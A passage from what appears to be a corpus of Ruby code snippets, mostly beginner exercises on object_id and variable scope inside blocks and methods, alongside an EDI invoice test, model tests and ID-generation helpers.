of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\"\n end\n\n puts %(\n =====\n value of `a_outer` is `22`, `a_outer_id` & `a_outer.object_id` are\n not the same.\n value of `b_outer` is `'thirty-three`, `b_outer_id` & `b_outer.object_id`\n are not the same.\n value of `c_outer` is `[44]`, `c_outer_id` and c_outer.object_id` are\n not the same.\n value of `d_outer` is `44`, `d_outer_id` and d_outer.object_id` are\n not the same.\n --\n )\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\"\n\n puts %(\n =====\n Trying to access any of these variables will raise a `NameError` exception\n since they are instantiated inside of a block and their scope does not\n reach the outer scope of the block.\n By adding the block of error-handling code in `rescue`, the program will\n gracefully output `'ugh ohhhhh'`.\n --\n )\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id # object_id of the literal 42\n b_outer_id = b_outer.object_id # object_id of \"forty two\"\n c_outer_id = c_outer.object_id # object_id of array [42]\n d_outer_id = d_outer.object_id # object_id of the literal 42,\n # since c_outer[0] = 42\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n 1.times do\n # local variables outside the block can be accesses here, no problem. so:\n a_outer_inner_id = a_outer.object_id # object_id of the literal 42\n b_outer_inner_id = b_outer.object_id # object_id of \"forty two\"\n c_outer_inner_id = c_outer.object_id # object_id of array [42]\n d_outer_inner_id = d_outer.object_id # object_id of the literal 42\n\n puts \"a_outer id was #{a_outer_id} before the block and is: #{a_outer_inner_id} inside the block.\"\n puts \"b_outer id was #{b_outer_id} before the block and is: #{b_outer_inner_id} inside the block.\"\n puts \"c_outer id was #{c_outer_id} before the block and is: #{c_outer_inner_id} inside the block.\"\n puts \"d_outer id was #{d_outer_id} before the block and is: #{d_outer_inner_id} inside the block.\\n\\n\"\n\n# doing reassignment here. so object_id's are going to change, therefore...\n a_outer = 22 # object_id of the literal 42\n b_outer = \"thirty three\" # object_id of the string \"thirty three\"\n c_outer = [44] # object_id of the array [44]\n d_outer = c_outer[0] # object_id of the literal 44,\n# since c_outer[0] = 44\n\n puts \"a_outer inside after reassignment is #{a_outer} with an id of: #{a_outer_id} before and: #{a_outer.object_id} after.\"\n puts \"b_outer inside after reassignment is #{b_outer} with an id of: #{b_outer_id} before and: #{b_outer.object_id} after.\"\n puts \"c_outer inside after reassignment is #{c_outer} with an id of: #{c_outer_id} before and: #{c_outer.object_id} after.\"\n puts \"d_outer inside after reassignment is #{d_outer} with an id of: #{d_outer_id} before and: #{d_outer.object_id} after.\\n\\n\"\n\n\n a_inner = a_outer\n b_inner = b_outer\n c_inner = c_outer\n d_inner = c_inner[0]\n\n # After assignments above, the \"inner\" variables are now referencing the outer ones, hence\n # they will have the same object_id's as the outer ones:\n\n a_inner_id = a_inner.object_id # object_id of the literal 42\n b_inner_id = b_inner.object_id # object_id of the string \"thirty three\"\n c_inner_id = c_inner.object_id # object_id of the array [44]\n d_inner_id = d_inner.object_id # object_id of the literal 44,\n# since c_outer[0] = 44\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} inside the block (compared to #{a_outer.object_id} for outer).\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} inside the block (compared to #{b_outer.object_id} for outer).\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} inside the block (compared to #{c_outer.object_id} for outer).\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} inside the block (compared to #{d_outer.object_id} for outer).\\n\\n\"\n end\n\n# since the outer variables are re-assigned inside the code block, their object_id's\n# will be different, as expected by the output of the lines below:\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the block.\\n\\n\"\n\n# The lines below will raise exceptions due to trying to access inner variables\n# from outside the block... hence \"ugh ohhhhh\"!\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the block.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the block.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids2\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id # object_id of the literal 42\n b_outer_id = b_outer.object_id # object_id of the string \"forty two\"\n c_outer_id = c_outer.object_id # object_id of the array [42]\n d_outer_id = d_outer.object_id # object_id of the literal 42\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id,\n b_outer_id, c_outer_id, d_outer_id)\n\n # reassignment doesn't mutate the caller. we expect same results as in 140-143:\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\\n\\n\"\n # trying to access method local variables from outside... hence \"ugh ohhhhh\"\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id # returns 85\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id # returns 85\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n # => \"a_outer is 42 with an id of: 85 before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n # => \"a_outer is 42 with an id of: 85 BEFORE and: 85 AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n # outputs \"ugh ohhhhh\", due to error from the scope of a_inner and a_inner.object_id variables being within the times method\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\\n\\n\" rescue puts \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id # 1\n b_outer_id = b_outer.object_id # 2\n c_outer_id = c_outer.object_id # 3\n d_outer_id = d_outer.object_id # 1\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\" # 42 1\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\" # 'forty two' 2\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\" # [42] 3\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\" # 42 1\n puts\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\" # 42 1\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\" # 'forty two' 2\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\" # [42] 3\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\" # 42 1\n puts\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\\n\\n\"\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\\n\\n\"\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\\n\\n\" rescue \"ugh ohhhhh\"\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before the block.\"\n puts\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\"\n puts\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"b_inner is #{b_inner} with an id of: #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"c_inner is #{c_inner} with an id of: #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts \"d_inner is #{d_inner} with an id of: #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts\nend", "def fun_with_ids\n a_outer = 42\n b_outer = \"forty two\"\n c_outer = [42]\n d_outer = c_outer[0]\n\n a_outer_id = a_outer.object_id\n b_outer_id = b_outer.object_id\n c_outer_id = c_outer.object_id\n d_outer_id = d_outer.object_id\n \n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before before the block.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} before before the block.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} before before the block.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} before before the block.\"\n puts\n\n an_illustrative_method(a_outer, b_outer, c_outer, d_outer, a_outer_id, b_outer_id, c_outer_id, d_outer_id)\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts \"b_outer is #{b_outer} with an id of: #{b_outer_id} BEFORE and: #{b_outer.object_id} AFTER the method call.\"\n puts \"c_outer is #{c_outer} with an id of: #{c_outer_id} BEFORE and: #{c_outer.object_id} AFTER the method call.\"\n puts \"d_outer is #{d_outer} with an id of: #{d_outer_id} BEFORE and: #{d_outer.object_id} AFTER the method call.\"\n puts\n\n puts \"a_inner is #{a_inner} with an id of #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhh\"\n puts \"b_inner is #{b_inner} with an id of #{b_inner_id} INSIDE and: #{b_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhh\"\n puts \"c_inner is #{c_inner} with an id of #{c_inner_id} INSIDE and: #{c_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhh\"\n puts \"d_inner is #{d_inner} with an id of #{d_inner_id} INSIDE and: #{d_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhh\"\n puts\nend", "def fun_with_ids\n a_outer = 42\n a_outer_id = a_outer.object_id\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} before the block.\"\n puts\n\n an_illustrative_method(a_outer, a_outer_id)\n\n puts \"a_outer is #{a_outer} with an id of: #{a_outer_id} BEFORE and: #{a_outer.object_id} AFTER the method call.\"\n puts\n\n puts \"a_inner is #{a_inner} with an id of: #{a_inner_id} INSIDE and: #{a_inner.object_id} AFTER the method.\" rescue puts \"ugh ohhhhh\"\n puts\n end", "def outer_id\n @values.fetch('outerId') { \n @values['outerId'] = nil\n }\n end", "def outer_id=(value)\n if value == @defaults['outerId']\n @values.delete 'outerId' if @values.key? 'outerId'\n else\n @values['outerId'] = value\n end\n end", "def foo1\r\n a = 1\r\n b = 2\r\n y = 3 \r\n 1.times { |a,b,x| # b,x are fresh locals here with the scope of the block; outer a is shadowed\r\n puts '|a,b,x|'\r\n puts \"inside\"\r\n puts \"a = #{a}\"\r\n puts \"b = #{b}\"\r\n puts \"x = #{x}\"\r\n puts \"y = #{y}\"\r\n puts\r\n \r\n z = 4\r\n x = 5\r\n b = 6\r\n }\r\n \r\n puts \"after\"\r\n puts \"a = #{a}\"\r\n puts \"b = #{b}\"\r\n puts \"x = #{x}\" rescue puts \"ERROR(x)\"\r\n puts \"y = #{y}\"\r\n puts \"z = #{z}\" rescue puts \"ERROR(z)\"\r\n puts\r\nend", "def outer\n clone.outer!\n end", "def block_scope_demo\n x = 100\n 1.times do #Single iteration serves to create code block context\n puts x # x inside the block is the same as the x that existed already:\n end\nend", "def swap_composite_keys(&block)\n @identifier, new_id = id.dup, identify\n block.call\n @identifier = nil\n end", "def changing_members(&block)\n _assigning do\n ids = members.map(&:to_key)\n instance_eval(&block)\n new_ids = members.map(&:to_key)\n\n added, removed = (new_ids - ids), (ids - new_ids)\n\n @original_members ||= ids\n @members_added ||= []; @members_removed ||= []\n @members_added -= removed; @members_removed -= added\n @members_added.concat(added).uniq!; @members_removed.concat(removed & @original_members).uniq!\n end\n self\n end", "def block_local_variable\n x = \"Original x!\"\n 3.times do |i;x|\n x = i\n puts \"x in the block is now #{x}\"\n end\n puts \"x after the block ended is #{x}\"\nend", "def growing\n new_outer_nodes = []\n @outer_nodes.each do |o_n|\n new_partial_outer_nodes = set_outer_nodes(@neighbors_hash[o_n])\n new_outer_nodes << check_partial_outer_nodes(new_partial_outer_nodes, o_n)\n new_outer_nodes.flatten!\n end\n @outer_nodes = new_outer_nodes.compact\n end", "def inner\n clone.inner!\n end", "def outer_box\n inner_box.map { |d| o(d) }\n end", "def mark_assignments_as_referenced_in_loop(node); end", "def assign_ids(id)\n @diff_id = id\n id + 1\n end", "def foo2\r\n puts '|a;x|'\r\n x = 1\r\n 1.times { |a;x|\r\n puts \"in-x = #{x}\"\r\n x = 2\r\n }\r\n \r\n puts \"x = #{x}\"\r\n puts\r\nend", "def _next_id\n @@id -= 1\n @@id\n end", "def make_id\n new_id = @id\n @id += 1\n new_id\n end", "def _new_id\n @lock.synchronize do\n begin\n # Generate a random number. It's recommended to not store more than\n # 2**62 objects in the same store.\n id = rand(2**64)\n # Ensure that we don't have already another object with this ID.\n end while @in_memory_objects.include?(id) || @db.include?(id)\n\n id\n end\n end", "def build_losers_to_winners_map(objects)\n inverse = {}\n objects.each do |id,object|\n (inverse[object.to_h.except(:_id)] ||= []) << id\n end\n\n {}.tap do |map|\n inverse.values.each do |ids|\n ids.drop(1).each do |id|\n map[id] = ids[0]\n end\n end\n end\n end", "def temp_id\n #reverting to just plain id, see issue #89\n self.id\n end", "def test_nested_loops\n want = <<~EDI.gsub(/\\n/, \"\")\n ST*810*0001~\n BIG*19700101*test*19700101*00000007397108*004010~\n REF*IO*define-this-value~\n N1*ST*Sweeney Todd~\n N3*2705 Fleet St~\n N4*Birmingham*AL*35226*US~\n DTM*011*19700101~\n IT1*1*1*EA*59.95**UP*860001662184*VP*860001662184*A3*860001662184*ZZ*860001662184*EN*860001662184~\n CTP**DPR*0*0**DIS*0*59.95~\n PID*F****CBD Topical Cream 400mg THC Free~\n SAC*C*ZZZZ***0~\n IT1*2*2*EA*49.95**UP*860001662184*VP*860001662184*A3*860001662184*ZZ*860001662184*EN*860001662184~\n CTP**DPR*0*0**DIS*0*49.95~\n PID*F****500mg Full Spectrum Garden Mint Oil Tincture~\n SAC*C*ZZZZ***0~\n TDS*17985~\n CAD*****define-this-value~\n SAC*C*ZZZZ***5995~\n SAC*C*ZZZZ***9990~\n CTT*2~\n SE*21*0001\n EDI\n store = Eddy::Data::Store.new(time: @epoch)\n ts = Eddy::TransactionSets::TS810::TS.new(store)\n ts.BIG do |big|\n big.BIG01 = @epoch\n big.BIG02 = \"test\"\n big.BIG03 = @epoch\n big.BIG04 = \"00000007397108\"\n big.BIG05 = \"004010\"\n end\n ts.REF.REF01 = \"IO\"\n ts.REF.REF02 = \"define-this-value\"\n ts.L_N1 do |n1|\n n1.N1.N101 = \"ST\"\n n1.N1.Name = \"Sweeney Todd\"\n n1.N3.AddressInformation1 = \"2705 Fleet St\"\n n1.N4.CityName = \"Birmingham\"\n n1.N4.StateOrProvinceCode = \"AL\"\n n1.N4.PostalCode = \"35226\"\n n1.N4.CountryCode = \"US\"\n end\n ts.DTM.DTM01 = \"011\"\n ts.DTM.DTM02 = @epoch\n ts.L_IT1 do |rep|\n rep.IT1 do |it1|\n it1.AssignedIdentification = \"1\"\n it1.QuantityInvoiced = 1\n it1.IT103 = \"EA\"\n it1.UnitPrice = 59.95\n it1.IT106 = \"UP\"\n it1.IT107 = \"860001662184\"\n it1.IT108 = \"VP\"\n it1.IT109 = \"860001662184\"\n it1.IT110 = \"A3\"\n it1.IT111 = \"860001662184\"\n it1.IT112 = \"ZZ\"\n it1.IT113 = \"860001662184\"\n it1.IT114 = \"EN\"\n it1.IT115 = \"860001662184\"\n end\n # CTP\n rep.CTP do |ctp|\n ctp.CTP02 = \"DPR\"\n ctp.CTP03 = 0\n ctp.CTP04 = 0\n ctp.CTP06 = \"DIS\"\n ctp.CTP07 = 0\n ctp.CTP08 = 59.95\n end\n # PID\n rep.L_PID do |pid|\n pid.PID.PID01 = \"F\"\n pid.PID.PID05 = \"CBD Topical Cream 400mg THC Free\"\n end\n # SAC\n rep.L_SAC do |sac|\n sac.SAC.SAC01 = \"C\"\n sac.SAC.SAC02 = \"ZZZZ\"\n sac.SAC.SAC05 = 0\n end\n end\n ts.L_IT1 do |rep|\n # IT1\n rep.IT1.AssignedIdentification = \"2\"\n rep.IT1.QuantityInvoiced = 2\n rep.IT1.IT103 = \"EA\"\n rep.IT1.UnitPrice = 49.95\n rep.IT1.IT106 = \"UP\"\n rep.IT1.IT107 = \"860001662184\"\n rep.IT1.IT108 = \"VP\"\n rep.IT1.IT109 = \"860001662184\"\n rep.IT1.IT110 = \"A3\"\n rep.IT1.IT111 = \"860001662184\"\n rep.IT1.IT112 = \"ZZ\"\n rep.IT1.IT113 = \"860001662184\"\n rep.IT1.IT114 = \"EN\"\n rep.IT1.IT115 = \"860001662184\"\n # CTP\n rep.CTP.CTP02 = \"DPR\"\n rep.CTP.CTP03 = 0\n rep.CTP.CTP04 = 0\n rep.CTP.CTP06 = \"DIS\"\n rep.CTP.CTP07 = 0\n rep.CTP.CTP08 = 49.95\n # PID\n rep.L_PID do |rep|\n rep.PID.PID01 = \"F\"\n rep.PID.PID05 = \"500mg Full Spectrum Garden Mint Oil Tincture\"\n end\n # SAC\n rep.L_SAC do |rep|\n rep.SAC.SAC01 = \"C\"\n rep.SAC.SAC02 = \"ZZZZ\"\n rep.SAC.SAC05 = 0\n end\n end\n ts.TDS.TDS01 = 179.85\n ts.CAD.CAD05 = \"define-this-value\"\n ts.L_SAC do |rep|\n rep.SAC.SAC01 = \"C\"\n rep.SAC.SAC02 = \"ZZZZ\"\n rep.SAC.SAC05 = 59.95\n end\n ts.L_SAC do |rep|\n rep.SAC.SAC01 = \"C\"\n rep.SAC.SAC02 = \"ZZZZ\"\n rep.SAC.SAC05 = 49.95 * 2\n end\n ts.CTT.NumberOfLineItems = 2\n result = ts.render()\n assert_equal(want, result)\n end", "def test_local\n result = 1 + 2\n result.times do |x|\n puts a = x + 1\n p local_variables\n end\n p local_variables\nend", "def uid\n # Just reusing the block's object_id seems to make sense\n block.object_id\n end", "def test_multiple_updates_on_same_object\n # we start with dhh as owner and alexander as user/creator\n @presentation.name = \"new name\"\n @presentation.owner = @alexander\n @presentation.save\n \n assert_equal \"new name\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @alexander, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n # ---- owner is now alexander, user/creator also alexander\n \n @presentation.name = \"new name 2\"\n @presentation.save\n \n assert_equal \"new name 2\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @alexander, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n assert !@dhh.is_creator_of?(@presentation)\n assert @alexander.is_creator_of?(@presentation)\n \n # --- no change. owner: alexander, user/creator: alexander.\n \n @presentation.name = \"new name 3\"\n @presentation.user = @dhh\n @presentation.save\n \n assert_equal \"new name 3\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @dhh, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n assert !@alexander.is_creator_of?(@presentation)\n assert @dhh.is_creator_of?(@presentation)\n \n # --- owner is still alexander, but user/creator is now dhh.\n \n @presentation.name = \"new name 4\"\n @presentation.owner = @dhh\n @presentation.save\n \n assert_equal \"new name 4\", @presentation.name\n assert_equal @dhh, @presentation.owner\n assert_equal @dhh, @presentation.user\n \n assert !@alexander.is_owner_of?(@presentation)\n assert @dhh.is_owner_of?(@presentation)\n \n assert !@alexander.is_creator_of?(@presentation)\n assert @dhh.is_creator_of?(@presentation)\n \n # --- owner is now also dhh, user/creator is still dhh.\n \n @presentation.name = \"new name 5\"\n @presentation.owner = @alexander\n @presentation.save\n # @presentation.reload\n \n assert_equal \"new name 5\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @dhh, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n assert !@alexander.is_creator_of?(@presentation)\n assert @dhh.is_creator_of?(@presentation)\n \n \n end", "def outer; end", "def combine_variables(x)\n # We call the global variable a as the argument below, which replaces x and outputs 4\n puts \"inner x is: #{x}\"\n # We call b, which is still defined in the previous sister method as 12\n puts \"and outer b is: #{b}\"\n # Now w redefine b within this method\n b = \"pizza\"\n # This line outputs with the new definition of b\n puts \"but now b is: #{b}\"\nend", "def make_blocks\n data = compress block_sources\n id = put_blocks_in_cache(data) # would prefer qless id here if possible\n return id\n end", "def next_id(obj)\n current_value = get_current_value(obj.class.name)\n new_value = current_value.next\n @id[obj.class.name] = new_value\n new_value\n end", "def each\n @job = block = (block_given? ? Proc.new : @job)\n each_set do |records|\n records.each do |record|\n block.call(record)\n @current_id = record.send(@id_field)\n end\n end\n cleanup\n end", "def method\n a = 50\n puts a\nputs a.object_id\nend", "def state_objs; @_hegemon_states.clone; end", "def each\n @lock.synchronize do\n @db.clear_marks\n # Start with the object 0 and the indexes of the root objects. Push them\n # onto the work stack.\n stack = [ 0 ] + @root_objects.values\n while !stack.empty?\n # Get an object index from the stack.\n id = stack.pop\n next if @db.is_marked?(id)\n\n unless (obj = object_by_id_internal(id))\n PEROBS.log.fatal \"Database is corrupted. Object with ID #{id} \" +\n \"not found.\"\n end\n # Mark the object so it will never be pushed to the stack again.\n @db.mark(id)\n yield(obj.myself) if block_given?\n # Push the IDs of all unmarked referenced objects onto the stack\n obj._referenced_object_ids.each do |r_id|\n stack << r_id unless @db.is_marked?(r_id)\n end\n end\n end\n end", "def diffObject(num)\n\tputs (\"#{num.object_id}\")\n\tnum=num+2\n\tputs (\"#{num.object_id}\")\n\treturn num\nend", "def next_temp_id\n @id ||= ASSET_GROUP_TEMPORARY_ID.to_i\n @id -= 1\nend", "def lock\n\t\t\tself.instance_eval do \n\t\t\t\tundef 